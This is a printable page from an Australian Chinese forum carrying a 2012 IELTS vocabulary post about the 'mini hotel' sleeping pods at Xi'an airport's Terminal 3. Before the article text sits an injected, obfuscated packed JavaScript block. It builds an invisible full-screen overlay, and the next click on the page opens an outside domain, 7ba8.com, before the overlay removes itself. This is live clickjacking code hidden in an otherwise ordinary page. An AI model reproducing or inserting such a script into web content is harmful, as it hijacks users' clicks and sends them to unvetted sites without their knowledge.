滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛

标题: 雅思新词积累：Mini hotel 迷你睡眠仓 [打印本页]

---

作者: happying    时间: 2012-7-13 17:13
标题: 雅思新词积累：Mini hotel 迷你睡眠仓
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>7月10日，20个“迷你睡眠仓”在西安咸阳国际机场T3航站楼开始试运营，为候机旅客和接机人员提供方便的短时间休息场所。


Mini hotel in the Terminal 3 of Xi'an airport opens for business Tuesday. Each room covers an area of three square meters and is equipped with bed, digital TV, laptop desk and a socket. It also has wireless Internet access.
西安咸阳国际机场T3航站楼的“迷你睡眠仓”于周二开始运营。这种睡眠舱每个面积约3平方米，配备单人床、数字电视、电脑桌、充电插座、无线网络等，
上面报道中的mini hotel就是“迷你睡眠仓”，它的内部设置类似于capsule apartment（胶囊公寓），为候机旅客和接机人员提供短时间休息场所，目前这项服务按照小时收费，头两个小时每小时60元。国外很多机场都有类似的服务，如迪拜机场的sleep box，美国亚特兰大机场的minute suite等。这种睡眠舱的sound masking（隔音）效果一般不错，能够帮助旅客远离喧闹。

---

欢迎光临 滴答网 - 澳洲中文网_澳洲交友_澳洲租房_澳洲房产_澳洲旅游_澳洲汽车_二手市场_澳大利亚华人论坛 (http://sydneybbs.com/)

Powered by Discuz! X3.2